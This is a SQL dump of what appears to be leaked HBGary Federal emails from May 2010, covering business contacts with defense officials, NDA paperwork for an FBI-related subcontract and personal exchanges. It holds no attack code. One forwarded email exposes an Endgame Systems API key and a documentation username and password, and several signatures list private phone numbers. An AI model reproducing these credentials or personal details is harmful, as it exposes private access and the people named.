<aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Swag','\r\n\r\n',8977,'aaron_hbgary_com/8977.html'),(6533,'2010-05-21','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004694.M26756P14101Q1388.eml','\"Barr Aaron\" <aaron@hbgary.com>','Ugh','\r\n\r\n',359,'aaron_hbgary_com/359.html'),(6534,'2010-05-21','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004694.M886615P14101Q1389.eml','\"Barr Aaron\" <aaron@hbgary.com>','Pic','\r\n\r\n',8405,'aaron_hbgary_com/8405.html'),(6535,'2010-05-21','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004699.M681782P14101Q1390.eml','\"Barr Aaron\" <aaron@hbgary.com>','Pic','\r\n\r\n',6577,'aaron_hbgary_com/6577.html'),(6536,'2010-05-21','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004701.M640089P14101Q1391.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Swag','\r\n\r\n',12404,'aaron_hbgary_com/12404.html'),(6537,'2010-05-21','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004705.M705108P14101Q1392.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: NMCIWG: Weekly Easpionage Newsletter','\r\nThis has the Green Dam stuff in it and a good story on GM.  Maria I would\r\ncall GM.  \r\n\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Thursday, May 20, 2010 5:39 PM\r\nSubject: FW: NMCIWG: Weekly Easpionage Newsletter\r\n\r\n \r\n\r\nSubject: NMCIWG: Weekly Easpionage Newsletter\r\n\r\nThis week\'s articles\r\n\r\n1.      US agents hold suspected Iran-bound helicopter  \r\n\r\n2.      Did spies steal GM secretsfor rival?    \r\n\r\n3.      CYBERsitter developers sue Chinese over stolen source code\r\n\r\n4.      Convicted Chinese spy to get espionage sentence \r\n\r\n5.      Defense Department Official Sentenced to 36 Months for Espionage\r\n\r\n\r\n6.      Cell Phone Sim Card Data Extractor      \r\n\r\n',10996,'aaron_hbgary_com/10996.html'),(6538,'2010-05-21','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004707.M831027P14101Q1393.eml','\"Barr Aaron\" <aaron@hbgary.com>','Pic','\r\n\r\n',1948,'aaron_hbgary_com/1948.html'),(6539,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004708.M704457P14101Q1395.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Welcome to the Endgame Systems Sicily API Service (Beta)','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Daniel Ingevaldson \r\n> Date: May 20, 2010 6:32:05 PM EDT\r\n> To: Aaron Barr \r\n> Subject: Welcome to the Endgame Systems Sicily API Service (Beta)\r\n> \r\n> \r\n> \r\n> Endgame Systems Sicily API (Beta)\r\n> Welcome to the Endgame Systems (EGS) Sicily API Service.  You have been issued the following API key:\r\n> \r\n> 82bb85063bb969b2dcf5818a2d9e6942\r\n> \r\n> Using the Endgame Systems Sicily API\r\n> The API service is hosted at the following address:\r\n> \r\n> api.endgamesystems.com\r\n> \r\n> Usage Tracking\r\n> \r\n> Usage is tracked based upon the number of IP addresses queried.\r\n> \r\n> Usage Monitoring\r\n> During the beta test period, beta customers may request a usage report at any time.  To perform this request, please send an email to sicily-beta@endgamesystems.com.  During the beta, usage will not be capped and no fees will be charged for services delivered.\r\n> \r\n> FAQ\r\n> \r\n> The FAQ for the EGS Sicily API is available here:  http://endgamesystems.com/sicily/faq/\r\n> \r\n> Technical Documentation\r\n> \r\n> Sicily technical documentation is available here: http://endgamesystems.com/docs/Sicily_Technical_Documentation.pdf\r\n> \r\n> In order to access the technical documentation please use the following credentials:\r\n> Username: sicily\r\n> Password: Iub7thoh#\r\n> \r\n> Program Examples\r\n> \r\n> Endgame Systems has provided example code in Perl, Python and PHP to demonstrate Sicily queries.  These tools are available here:\r\n> http://endgamesystems.com/docs/Sicily-Code-Examples.tar.gz\r\n> \r\n> \r\n> License Agreement\r\n> \r\n> This beta program is conducted under the Endgame Systems, LLC - Sofware as a Service (SaaS) License Agreement.  Please refer to this agreement for specific terms and conditions.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9713,'aaron_hbgary_com/9713.html'),(6540,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004708.M82835P14101Q1394.eml','\"Ted Vera\" <tedvera@me.com>','Re: Pic','thats red.\r\n\r\nOn May 20, 2010, at 9:01 PM, Ted Vera wrote:\r\n\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2190,'aaron_hbgary_com/2190.html'),(6541,'2010-05-21','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297004708.M955462P14101Q1396.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Rates & availability to do a client phone discussion','let\'s try to speak tomorrow\r\n\r\n\r\n\r\nOn May 20, 2010, at 12:34 PM, Aaron Barr wrote:\r\n\r\nHi Ira,\r\n\r\nHave some time to talk about next steps?  Have you heard from the customer?\r\nAaron\r\n\r\nOn Apr 22, 2010, at 4:01 PM, Ira Entis wrote:\r\n\r\n> Aaron --\r\n> \r\n> 2 questions:\r\n> \r\n> 1) what is your hourly rate for ethical hacking?\r\n> \r\n> 2) what are possible windows of time for a 30 minute client phone discussion next Monday or Tuesday?\r\n> \r\n> Thanks,\r\n> \r\n> Ira\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',1626,'aaron_hbgary_com/1626.html'),(6542,'2010-05-21','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004709.M275049P14101Q1397.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Immaculate Creation: Birth of the First Synthetic Cell','\r\nThere is a God! His name is Craig:\r\n\r\nhttp://gizmodo.com/5543774/immaculate-creation-birth-of-the-first-synthetic-cell\r\n',6140,'aaron_hbgary_com/6140.html'),(6543,'2010-05-21','\"IA Events\" <noReply@nsa.gov>','/aaron@hbgary.com/new/1297004709.M524302P14101Q1398.eml','aaron@hbgary.com','Registration Pending',' \r\n	\r\n\r\n\r\n\r\n\r\nAaron Barr,\r\n\r\nYour registration for the 2010 Red Team/Blue Team Symposium – June 2010  is pending approval by your government sponsor.  Once your sponsor signs your NDA, you will be moved from the Waitlist to the Attendee list. You will receive an email if your status changes which will tell you if your registration to the conference is confirmed or denied. \r\n\r\n\r\n\r\n\r\n',15031,'aaron_hbgary_com/15031.html'),(6544,'2010-05-21','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004709.M816133P14101Q1399.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Lincoln','I agree that Ray and Nate and probably the right guys to work with.  They\r\ntold me afterwards that they really like the idea and think that you are one\r\nof the few people who truly get their model.\r\nCheers,\r\nIrv\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, May 20, 2010 2:21 PM\r\nTo: Lachow, Irving Mr OSD ATL\r\nSubject: Re: Lincoln\r\n\r\nI think it went well.  They seemed excited.  Were going to set up some\r\nother meetings to help the discussion.  I\'ll check up with them\r\ntomorrow after they have had some time to process to see how they\r\nwould like to proceed.\r\n\r\nRay seems like the right guy to help get this off the ground.  I know\r\nwe can make a success of it.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 20, 2010, at 2:17 PM, \"Lachow, Irving Mr OSD ATL\"\r\n wrote:\r\n\r\n> Good idea.  How did the meeting with Ray and Nathan end up?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, May 20, 2010 12:51 PM\r\n> To: Lachow, Irving Mr OSD ATL\r\n> Subject: Lincoln\r\n>\r\n> Irv,\r\n>\r\n> Maybe the beat use of Lincoln is as one of the sponsor of an effort we\r\n> put together with Ray.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n',12914,'aaron_hbgary_com/12914.html'),(6545,'2010-05-21','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004710.M308916P14101Q1401.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Lincoln','Twilight Zone moment!  I just sent you a message answering exactly this\r\nquestion.  Spooky.  :)\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 21, 2010 9:13 AM\r\nTo: Lachow, Irving Mr OSD ATL\r\nSubject: Re: Lincoln\r\n\r\nDid you meet with Ray later in the day?  Did the subject of our meeting come\r\nup, and if so, what were his thoughts?  I am really looking forward to\r\npossible next steps.\r\n\r\nAaron\r\n\r\nOn May 20, 2010, at 2:17 PM, Lachow, Irving Mr OSD ATL wrote:\r\n\r\n> Good idea.  How did the meeting with Ray and Nathan end up?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, May 20, 2010 12:51 PM\r\n> To: Lachow, Irving Mr OSD ATL\r\n> Subject: Lincoln\r\n> \r\n> Irv,\r\n> \r\n> Maybe the beat use of Lincoln is as one of the sponsor of an effort we\r\n> put together with Ray.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5386,'aaron_hbgary_com/5386.html'),(6546,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004710.M576314P14101Q1402.eml','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','Re: Lincoln','I think the bits actually passed each other on the wire.  Funny.  Good to hear.  I definitely get their model, it is very needed and if embraced can really help the government become more capable.\r\n\r\nAaron\r\n\r\nOn May 21, 2010, at 9:13 AM, Lachow, Irving Mr OSD ATL wrote:\r\n\r\n> Twilight Zone moment!  I just sent you a message answering exactly this\r\n> question.  Spooky.  :)\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, May 21, 2010 9:13 AM\r\n> To: Lachow, Irving Mr OSD ATL\r\n> Subject: Re: Lincoln\r\n> \r\n> Did you meet with Ray later in the day?  Did the subject of our meeting come\r\n> up, and if so, what were his thoughts?  I am really looking forward to\r\n> possible next steps.\r\n> \r\n> Aaron\r\n> \r\n> On May 20, 2010, at 2:17 PM, Lachow, Irving Mr OSD ATL wrote:\r\n> \r\n>> Good idea.  How did the meeting with Ray and Nathan end up?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, May 20, 2010 12:51 PM\r\n>> To: Lachow, Irving Mr OSD ATL\r\n>> Subject: Lincoln\r\n>> \r\n>> Irv,\r\n>> \r\n>> Maybe the beat use of Lincoln is as one of the sponsor of an effort we\r\n>> put together with Ray.\r\n>> \r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8143,'aaron_hbgary_com/8143.html');
INSERT INTO `emails` VALUES (6547,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004710.M67929P14101Q1400.eml','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','Re: Lincoln','Did you meet with Ray later in the day?  Did the subject of our meeting come up, and if so, what were his thoughts?  I am really looking forward to possible next steps.\r\n\r\nAaron\r\n\r\nOn May 20, 2010, at 2:17 PM, Lachow, Irving Mr OSD ATL wrote:\r\n\r\n> Good idea.  How did the meeting with Ray and Nathan end up?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, May 20, 2010 12:51 PM\r\n> To: Lachow, Irving Mr OSD ATL\r\n> Subject: Lincoln\r\n> \r\n> Irv,\r\n> \r\n> Maybe the beat use of Lincoln is as one of the sponsor of an effort we\r\n> put together with Ray.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10260,'aaron_hbgary_com/10260.html'),(6548,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004710.M805011P14101Q1403.eml','\"Ted Vera\" <tedvera@me.com>','Fwd: Lincoln','Begin forwarded message:From: \"Lachow, Irving Mr OSD ATL\" &lt;Irving.Lachow@osd.mil&gt;Date: May 21, 2010 9:12:44 AM EDTTo: \'Aaron Barr\' &lt;aaron@hbgary.com&gt;Subject: RE: LincolnI agree that Ray and Nate and probably the right guys to work with. &nbsp;Theytold me afterwards that they really like the idea and think that you are oneof the few people who truly get their model.Cheers,Irv-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, May 20, 2010 2:21 PMTo: Lachow, Irving Mr OSD ATLSubject: Re: LincolnI think it went well. &nbsp;They seemed excited. &nbsp;Were going to set up someother meetings to help the discussion. &nbsp;I\'ll check up with themtomorrow after they have had some time to process to see how theywould like to proceed.Ray seems like the right guy to help get this off the ground. &nbsp;I knowwe can make a success of it.AaronSent from my iPadOn May 20, 2010, at 2:17 PM, \"Lachow, Irving Mr OSD ATL\"&lt;Irving.Lachow@osd.mil&gt; wrote:Good idea. &nbsp;How did the meeting with Ray and Nathan end up?-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Thursday, May 20, 2010 12:51 PMTo: Lachow, Irving Mr OSD ATLSubject: LincolnIrv,Maybe the beat use of Lincoln is as one of the sponsor of an effort weput together with Ray.AaronFrom my iPhone\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',798,'aaron_hbgary_com/798.html'),(6549,'2010-05-21','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004711.M32252P14101Q1404.eml','\"Aaron Barr\" <aaron@hbgary.com>','HB Bary and NMCI','\r\n\r\n\r\n\r\n\r\nHB Bary and NMCI\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI know the guy who runs (or helps run) the NMCI networks.&nbsp; I told him about HB Gary and suggested that he contact you.&nbsp; Keep an eye out.&nbsp; His name is Jeff Naus.\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nDirector, Cyber Programs\r\n\r\nSpecial Capabilities Office\r\n\r\nNIPR: irving.lachow@osd.mil\r\n\r\nSIPR: irving.lachow@osd.smil.mil\r\n\r\nJWICS: irving.lachow@osdj.ic.gov\r\n\r\nOffice:&nbsp; (703) 746-1226\r\n\r\nCell:&nbsp; (202) 556-0591\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12241,'aaron_hbgary_com/12241.html'),(6550,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004711.M362658P14101Q1405.eml','\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Rates & availability to do a client phone discussion','What times work for you today?\r\n\r\nAaron\r\n\r\nOn May 20, 2010, at 11:27 PM, Ira Entis wrote:\r\n\r\n> let\'s try to speak tomorrow\r\n> \r\n> \r\n> \r\n> On May 20, 2010, at 12:34 PM, Aaron Barr wrote:\r\n> \r\n> Hi Ira,\r\n> \r\n> Have some time to talk about next steps?  Have you heard from the customer?\r\n> Aaron\r\n> \r\n> On Apr 22, 2010, at 4:01 PM, Ira Entis wrote:\r\n> \r\n>> Aaron --\r\n>> \r\n>> 2 questions:\r\n>> \r\n>> 1) what is your hourly rate for ethical hacking?\r\n>> \r\n>> 2) what are possible windows of time for a 30 minute client phone discussion next Monday or Tuesday?\r\n>> \r\n>> Thanks,\r\n>> \r\n>> Ira\r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3119,'aaron_hbgary_com/3119.html'),(6551,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004712.M140450P14101Q1406.eml','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','Re: Catch Up','Sure dinner sounds good.  I am pretty open tues, wed, thurs.\r\n\r\nAaron\r\n\r\nOn May 18, 2010, at 3:28 PM, Bailey, Don wrote:\r\n\r\n> Hi Aaron, sorry for my lapse in getting back to you.  Things didn\'t let up\r\n> the first part of May and still running hard.  Next week looks fairly\r\n> promising though.  What evening next week works best for you?\r\n> \r\n> Don\r\n> \r\n> Don Bailey\r\n> Blackbird Technologies, PDG\r\n> 703.345.1304 office\r\n> 703.582.1277 cell\r\n> dbailey@blackbirdtech.com\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, May 18, 2010 3:18 PM\r\n> To: Bailey, Don\r\n> Subject: Re: Catch Up\r\n> \r\n> Hey Don,\r\n> \r\n> How are things?  Still want to grab some dinner?  I am always up for some\r\n> good food.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Apr 16, 2010, at 3:32 PM, Bailey, Don wrote:\r\n> \r\n>> Hi Aaron - it\'s been a crazy few months here as well.  Sorry I\'ve been out\r\n> of touch.\r\n>> \r\n>> I have seen the new REcon paper, nicely done!  I\'ve not seen the ticker\r\n> yet, but will check it as soon as I send this note.\r\n>> \r\n>> The next two weeks are pretty hammered for me; perhaps we can do dinner\r\n> and drinks the first week in May?\r\n>> \r\n>> Don Bailey\r\n>> Blackbird Technologies, PDG\r\n>> 703.345.1304 office\r\n>> 703.582.1277 cell\r\n>> dbailey@blackbirdtech.com\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, April 16, 2010 2:38 PM\r\n>> To: Bailey, Don\r\n>> Cc: Ted Vera\r\n>> Subject: Catch Up\r\n>> \r\n>> Hey Don,\r\n>> \r\n>> I am getting a bit of a breather from a few months of proposals.\r\n>> \r\n>> Penny said you wanted to get together and talk about future work together.\r\n> I know you guys were also looking at potential investing in HBGar Proper.\r\n> Anyway, send me a not or a call and we can try to get together.  Have you\r\n> seen the new REcon Software Exploitation paper? or the malware ticker on the\r\n> HBGary website?  The Threat Management Center, which drives the data in the\r\n> ticker has a lot of promise for threat intelligence.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7961,'aaron_hbgary_com/7961.html'),(6552,'2010-05-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004712.M368233P14101Q1407.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: GenDyn_HBGary Federal NDA Request for FBI IAS ESOC Effort','Hi Kimberly,The NDA is acceptable. I am out of the office and do not have a printer handy. If you can resend it as a PDF file then I can sign and return immediately. Otherwise, I can print and sign when I am in the office this afternoon (2pm mountain time).\r\nRegards,TedOn May 21, 2010, at 8:09 AM, &quot;Hoagland, Kimberly A.&quot; &lt;Kimberly.Hoagland@gd-ais.com&gt; wrote:\r\n\r\n&lt;image001.gif&gt;\r\n\r\n\r\n\r\nGood morning,\r\n\r\n \r\n\r\nPlease provide\r\na status on my request below.  \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nThank you, \r\n\r\n \r\n\r\nKimberly Hoagland\r\n\r\nSr. Specialist-Subcontracts \r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems, Inc. \r\n\r\n \r\n\r\nMailing Address:\r\n\r\n 10925 Pump House Road\r\n\r\n Annapolis Junction, MD\r\n20701\r\n\r\nPhysical Address:\r\n\r\n 2721 Technology Drive\r\n\r\n Annapolis Junction,\r\nMD  20701\r\n\r\n \r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n\r\n \r\n\r\nP please\r\nconsider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Hoagland, Kimberly A. \r\nSent: Thursday, May 20, 2010 10:55 AM\r\nTo: &#39;ted@hbgary.com&#39;\r\nCc: Lemke, Michelle R.; Arismendi, Charles B.; Varga, Joan A.\r\nSubject: GenDyn_HBGary Federal NDA Request for FBI IAS ESOC Effort\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nGood\r\nmorning,\r\n\r\n \r\n\r\nPlease\r\nreview, sign and return the attached NDA.\r\n\r\n \r\n\r\n \r\n\r\nThank you,\r\n\r\n \r\n\r\n \r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts \r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems, Inc. \r\n\r\n \r\n\r\nMailing Address:\r\n\r\n 10925 Pump House Road\r\n\r\n Annapolis Junction, MD\r\n20701\r\n\r\nPhysical Address:\r\n\r\n 2721 Technology Drive\r\n\r\n Annapolis Junction,\r\nMD  20701\r\n\r\n \r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n\r\n \r\n\r\nP please\r\nconsider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary Federal NDA.doc&gt;\r\n',9137,'aaron_hbgary_com/9137.html'),(6553,'2010-05-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004712.M708488P14101Q1408.eml','\"Ted Vera\" <ted@hbgary.com>','Re: GenDyn_HBGary Federal NDA Request for FBI IAS ESOC Effort','iWork on ipad exports as a PDFSent from my iPadOn May 21, 2010, at 10:15 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Kimberly,The NDA is acceptable. I am out of the office and do not have a printer handy. If you can resend it as a PDF file then I can sign and return immediately. Otherwise, I can print and sign when I am in the office this afternoon (2pm mountain time).\r\n\r\nRegards,TedOn May 21, 2010, at 8:09 AM, &quot;Hoagland, Kimberly A.&quot; &lt;Kimberly.Hoagland@gd-ais.com&gt; wrote:\r\n\r\n\r\n&lt;image001.gif&gt;\r\n\r\n\r\n\r\nGood morning,\r\n\r\n \r\n\r\nPlease provide\r\na status on my request below.  \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nThank you, \r\n\r\n \r\n\r\nKimberly Hoagland\r\n\r\nSr. Specialist-Subcontracts \r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems, Inc. \r\n\r\n \r\n\r\nMailing Address:\r\n\r\n 10925 Pump House Road\r\n\r\n Annapolis Junction, MD\r\n20701\r\n\r\nPhysical Address:\r\n\r\n 2721 Technology Drive\r\n\r\n Annapolis Junction,\r\nMD  20701\r\n\r\n \r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n\r\n\r\n \r\n\r\nP please\r\nconsider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Hoagland, Kimberly A. \r\nSent: Thursday, May 20, 2010 10:55 AM\r\nTo: &#39;ted@hbgary.com&#39;\r\nCc: Lemke, Michelle R.; Arismendi, Charles B.; Varga, Joan A.\r\nSubject: GenDyn_HBGary Federal NDA Request for FBI IAS ESOC Effort\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nGood\r\nmorning,\r\n\r\n \r\n\r\nPlease\r\nreview, sign and return the attached NDA.\r\n\r\n \r\n\r\n \r\n\r\nThank you,\r\n\r\n \r\n\r\n \r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts \r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems, Inc. \r\n\r\n \r\n\r\nMailing Address:\r\n\r\n 10925 Pump House Road\r\n\r\n Annapolis Junction, MD\r\n20701\r\n\r\nPhysical Address:\r\n\r\n 2721 Technology Drive\r\n\r\n Annapolis Junction,\r\nMD  20701\r\n\r\n \r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n\r\n\r\n \r\n\r\nP please\r\nconsider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary Federal NDA.doc&gt;\r\n\r\n',12310,'aaron_hbgary_com/12310.html'),(6554,'2010-05-21','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004718.M960227P14101Q1409.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','RE: GenDyn_HBGary Federal NDA Request for FBI IAS ESOC Effort','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSure, here you are.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing\r\nAddress:\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, May 21, 2010 10:16 AM\r\nTo: Hoagland, Kimberly A.; Barr Aaron\r\nSubject: Re: GenDyn_HBGary Federal NDA Request for FBI IAS ESOC Effort\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi Kimberly,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe NDA is acceptable. I am out of the office and do not\r\nhave a printer handy. If you can resend it as a PDF file then I can sign and\r\nreturn immediately. Otherwise, I can print and sign when I am in the office\r\nthis afternoon (2pm mountain time).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 21, 2010, at 8:09 AM, &quot;Hoagland, Kimberly A.&quot; &lt;Kimberly.Hoagland@gd-ais.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.gif&gt; \r\n\r\n\r\n\r\nGood morning,\r\n\r\n&nbsp;\r\n\r\nPlease provide a status on my request\r\nbelow.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThank you,&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly\r\nHoagland\r\n\r\nSr. Specialist-Subcontracts&nbsp;\r\n\r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing 